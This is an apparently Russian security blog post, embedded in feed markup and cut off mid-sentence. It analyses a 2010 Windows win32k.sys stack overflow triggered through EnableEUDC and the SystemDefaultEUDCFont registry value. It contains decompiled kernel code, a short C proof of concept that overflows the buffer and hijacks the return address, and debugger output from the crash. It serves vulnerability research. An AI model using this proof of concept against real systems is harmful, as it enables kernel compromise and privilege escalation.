README.TXT&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1259663162418910941-1679739059926324?l=blog.cr4.sh' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cr4.sh/feeds/1679739059926324/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://blog.cr4.sh/2010/12/%D0%BE%D0%B1%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D1%8B-ioctl-fuzzer.html#comment-form' title='Комментарии: 5'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/1679739059926324'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/1679739059926324'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/2010/12/%D0%BE%D0%B1%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D1%8B-ioctl-fuzzer.html' title='Обновление программы IOCTL Fuzzer'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1259663162418910941.post-758184565228912550</id><published>2010-12-13T13:42:00.000-08:00</published><updated>2011-12-03T16:37:08.610-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='уязвимости'/><category scheme='http://www.blogger.com/atom/ns#' term='Esаge Lab'/><category scheme='http://www.blogger.com/atom/ns#' term='старые записи'/><title type='text'>Новая уязвимость в ядре Windows</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="repost"&gt;Репост из &lt;a href="http://esagelab.ru/blog/research/%d0%bd%d0%be%d0%b2%d0%b0%d1%8f-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d1%8c-%d0%b2-%d1%8f%d0%b4%d1%80%d0%b5-windows-2"&gt;блога Esage Lab&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;В эти дни во многих источниках &lt;a href="http://www.theregister.co.uk/2010/11/24/windows_0day_report/"&gt;появились сообщения&lt;/a&gt; об обнаружении в ядре Windows (а точнее, в "сердце" графической подсистемы win32k.sys) очередной локальной уязвимости нулевого дня.&amp;nbsp;Интересно также и то, что изначально информация о данной уязвимости и сам эксплойт появились на одном из многочисленных &lt;a href="http://www.debugman.com/read.php?tid=5767"&gt;китайских форумов&lt;/a&gt;, но тема довольно быстро была удалена администратором.&lt;br /&gt;&lt;br /&gt;Уязвимость представляет собой классическое переполнение буфера в ядре. Рассмотрим подробно её технические детали.&lt;br /&gt;&lt;br /&gt;В MSDN описана API функция &lt;a href="http://msdn.microsoft.com/en-us/library/aa911422.aspx"&gt;EnableEUDC&lt;/a&gt;(), библиотеки Gdi32.dll, которая служит для включения или выключения т.н. end-user-defined characters (шрифтов интерфейса, определённых пользователем):&lt;br /&gt;&lt;pre&gt;BOOL EnableEUDC(&lt;br /&gt;  BOOL fEnableEUDC&lt;br /&gt;);&lt;/pre&gt;Код этой функции выполняет системный вызов NtGdiEnableEudc(), который, в свою очередь, считывает путь к файлу пользовательского шрифта из параметра SystemDefaultEUDCFont, ключа реестра HKEY_CURRENT_USER\EUDC\&amp;lt;Current_code_page&amp;gt;. Для получения значения параметра реестра в коде win32k.sys используется функция &lt;a href="http://msdn.microsoft.com/en-us/library/ff562046(v=VS.85).aspx"&gt;RtlQueryRegistryValues&lt;/a&gt;():&lt;br /&gt;&lt;pre&gt;NTSTATUS RtlQueryRegistryValues(&lt;br /&gt;  __in      ULONG RelativeTo,&lt;br /&gt;  __in      PCWSTR Path,&lt;br /&gt;  __inout   PRTL_QUERY_REGISTRY_TABLE QueryTable,&lt;br /&gt;  __in_opt  PVOID Context,&lt;br /&gt;  __in_opt  PVOID Environment&lt;br /&gt;);&lt;/pre&gt;В качестве одного из входных параметров она получает указатель на структуру RTL_QUERY_REGISTRY_TABLE:&lt;br /&gt;&lt;pre&gt;typedef struct _RTL_QUERY_REGISTRY_TABLE {&lt;br /&gt;    PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;&lt;br /&gt;    ULONG Flags;&lt;br /&gt;    PWSTR Name;&lt;br /&gt;    PVOID EntryContext;&lt;br /&gt;    ULONG DefaultType;&lt;br /&gt;    PVOID DefaultData;&lt;br /&gt;    ULONG DefaultLength;&lt;br /&gt;} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;&lt;/pre&gt;Эта структура предназначена для передачи информации о параметре реестра, значение которого необходимо прочесть. В коде win32k.sys поля этой структуры заполняются следующим образом:&lt;br /&gt;&lt;pre&gt;&lt;span style="color: teal;"&gt; 1&lt;/span&gt; &lt;span style="color: black;"&gt;signed &lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; __stdcall sub_BF892113(wchar_t &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;a1, unsigned __int16 a2)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 2&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 3&lt;/span&gt; &lt;span style="color: black;"&gt;  DestinationString.Buffer &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; (PWSTR)&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;v11;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 4&lt;/span&gt; &lt;span style="color: black;"&gt;  KeyHandle &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 5&lt;/span&gt; &lt;span style="color: black;"&gt;  v9 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 6&lt;/span&gt; &lt;span style="color: black;"&gt;  v7 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 7&lt;/span&gt; &lt;span style="color: black;"&gt;  v11 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 8&lt;/span&gt; &lt;span style="color: black;"&gt;  SourceString &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 9&lt;/span&gt; &lt;span style="color: black;"&gt;  DestinationString.Length &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;10&lt;/span&gt; &lt;span style="color: black;"&gt;  DestinationString.MaximumLength &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0x208u&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;11&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;12&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; получение имени ключа&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;13&lt;/span&gt; &lt;span style="color: black;"&gt;  v4 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; _get_EUDC_key_name(&lt;/span&gt;&lt;span style="color: purple;"&gt;0x208u&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;SourceString);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;14&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (v4 &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;15&lt;/span&gt; &lt;span style="color: black;"&gt;  {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;16&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; проверка существования ключа&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;17&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (_check_for_key_exists(&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;SourceString, &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;KeyHandle, &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;v9, (&lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;v7) &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt; v7)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;18&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;19&lt;/span&gt; &lt;span style="color: black;"&gt;      SharedQueryTable.EntryContext &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;DestinationString;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;20&lt;/span&gt; &lt;span style="color: black;"&gt;      SharedQueryTable.QueryRoutine &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;21&lt;/span&gt; &lt;span style="color: black;"&gt;      SharedQueryTable.Flags &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; RTL_QUERY_REGISTRY_REQUIRED &lt;/span&gt;&lt;span style="color: black;"&gt;|&lt;/span&gt;&lt;span style="color: black;"&gt; RTL_QUERY_REGISTRY_DIRECT;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;22&lt;/span&gt; &lt;span style="color: black;"&gt;      SharedQueryTable.Name &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; L&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;SystemDefaultEUDCFont&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;23&lt;/span&gt; &lt;span style="color: black;"&gt;      SharedQueryTable.DefaultType &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;24&lt;/span&gt; &lt;span style="color: black;"&gt;      SharedQueryTable.DefaultData &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;25&lt;/span&gt; &lt;span style="color: black;"&gt;      SharedQueryTable.DefaultLength &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;26&lt;/span&gt; &lt;span style="color: black;"&gt;      dword_BF9A6444 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;27&lt;/span&gt; &lt;span style="color: black;"&gt;      dword_BF9A6448 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;28&lt;/span&gt; &lt;span style="color: black;"&gt;      dword_BF9A644C &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;29&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;30&lt;/span&gt; &lt;span style="color: black;"&gt;      &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; получение значения параметра SystemDefaultEUDCFont&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;31&lt;/span&gt; &lt;span style="color: black;"&gt;      v4 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; RtlQueryRegistryValues(&lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;SourceString, &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;SharedQueryTable, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;32&lt;/span&gt; &lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;33&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;else&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;34&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;35&lt;/span&gt; &lt;span style="color: black;"&gt;      v4 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; STATUS_SUCCESS;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;36&lt;/span&gt; &lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;37&lt;/span&gt; &lt;span style="color: black;"&gt;  }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;38&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;39&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; skipped&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;40&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;41&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;42&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;/pre&gt;Как видно, в качестве буфера, в котором следует сохранить значение реестра (поле QueryRoutine), передается локальный буфер фиксированного размера, переполнение которого и произойдет в том случае, если длина получаемых данных будет превышать 208h байт.&lt;br /&gt;&lt;br /&gt;PoC код, эксплуатирующий данную уязвимость, выглядит весьма просто:&lt;br /&gt;&lt;pre&gt;&lt;span style="color: teal;"&gt; 1&lt;/span&gt; &lt;span style="color: blue;"&gt;#define&lt;/span&gt;&lt;span style="color: black;"&gt; EUDC_FONT_VAL "SystemDefaultEUDCFont"&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 2&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 3&lt;/span&gt; &lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; _tmain(&lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; argc, _TCHAR&lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt; argv[])&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 4&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 5&lt;/span&gt; &lt;span style="color: black;"&gt;    HKEY hKey;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 6&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; szKeyName[MAX_PATH], Buff[&lt;/span&gt;&lt;span style="color: purple;"&gt;0x600&lt;/span&gt;&lt;span style="color: black;"&gt;];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 7&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 8&lt;/span&gt; &lt;span style="color: black;"&gt;    sprintf_s(szKeyName, MAX_PATH, &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;EUDC\\%d&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, GetACP());&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 9&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;10&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; создание ключа реестра&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;11&lt;/span&gt; &lt;span style="color: black;"&gt;    LONG Code &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; RegCreateKey(HKEY_CURRENT_USER, szKeyName, &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;hKey);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;12&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (Code &lt;/span&gt;&lt;span style="color: black;"&gt;!=&lt;/span&gt;&lt;span style="color: black;"&gt; ERROR_SUCCESS)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;13&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;14&lt;/span&gt; &lt;span style="color: black;"&gt;        printf(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;ERROR: RegCreateKey() fails with status %d\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, Code);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;15&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;-&lt;/span&gt;&lt;span style="color: purple;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;16&lt;/span&gt; &lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;17&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;18&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; удаление старого параметра&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;19&lt;/span&gt; &lt;span style="color: black;"&gt;    RegDeleteValue(hKey, EUDC_FONT_VAL);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;20&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;21&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; создание нового параметра "SystemDefaultEUDCFont" типа REG_BINARY&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;22&lt;/span&gt; &lt;span style="color: black;"&gt;    FillMemory(Buff, &lt;/span&gt;&lt;span style="color: blue;"&gt;sizeof&lt;/span&gt;&lt;span style="color: black;"&gt;(Buff), &lt;/span&gt;&lt;span style="color: maroon;"&gt;'&lt;/span&gt;&lt;span style="color: maroon;"&gt;A&lt;/span&gt;&lt;span style="color: maroon;"&gt;'&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;23&lt;/span&gt; &lt;span style="color: black;"&gt;    Code &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; RegSetValueEx(hKey, EUDC_FONT_VAL, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, REG_BINARY, &lt;/span&gt;&lt;span style="color: black;"&gt;Buff, 0x600&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;24&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;25&lt;/span&gt; &lt;span style="color: black;"&gt;    RegCloseKey(hKey);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;26&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;27&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (Code &lt;/span&gt;&lt;span style="color: black;"&gt;!=&lt;/span&gt;&lt;span style="color: black;"&gt; ERROR_SUCCESS)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;28&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;29&lt;/span&gt; &lt;span style="color: black;"&gt;        printf(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;ERROR: RegSetValueEx() fails with status %d\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, Code);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;30&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;-&lt;/span&gt;&lt;span style="color: purple;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;31&lt;/span&gt; &lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;32&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;33&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; вызов уязвимой функции&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;34&lt;/span&gt; &lt;span style="color: black;"&gt;    EnableEUDC(TRUE);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;35&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;36&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;37&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;/pre&gt;В результате выполнения данной программы произойдет затирание оригинального значения адреса возврата на стеке в функции nt!CmpParseKey:&lt;br /&gt;&lt;pre&gt;kd&amp;gt; kb&lt;br /&gt;ChildEBP RetAddr  Args to Child&lt;br /&gt;WARNING: Frame IP not in any known module. Following frames may be wrong.&lt;br /&gt;b291a9d8 806260e0 8224ba74 e1011478 b291ac68 0x41414141&lt;br /&gt;e1520b60 8062dec5 8062de52 806329ba 80632a06 nt!CmpParseKey+0x6ca&lt;br /&gt;e1520b8c 00000000 00000b8c 86000301 00000001 nt!HvpReleaseCellMapped+0x73&lt;/pre&gt;Поскольку модули режима ядра не предусматривают какой-либо защиты (stack cookies и другие)&amp;nbsp;от переполнений буфера - эксплуатация данной уязвимости до полноценного локального повышения привилегий тривиальна, что и демонстрирует &lt;a href="http://www.exploit-db.com/exploits/15609/"&gt;оригинальный эксплойт&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Официальное исправление для уязвимости на данный момент отсутствует, однако, можно предотвратить возможность её 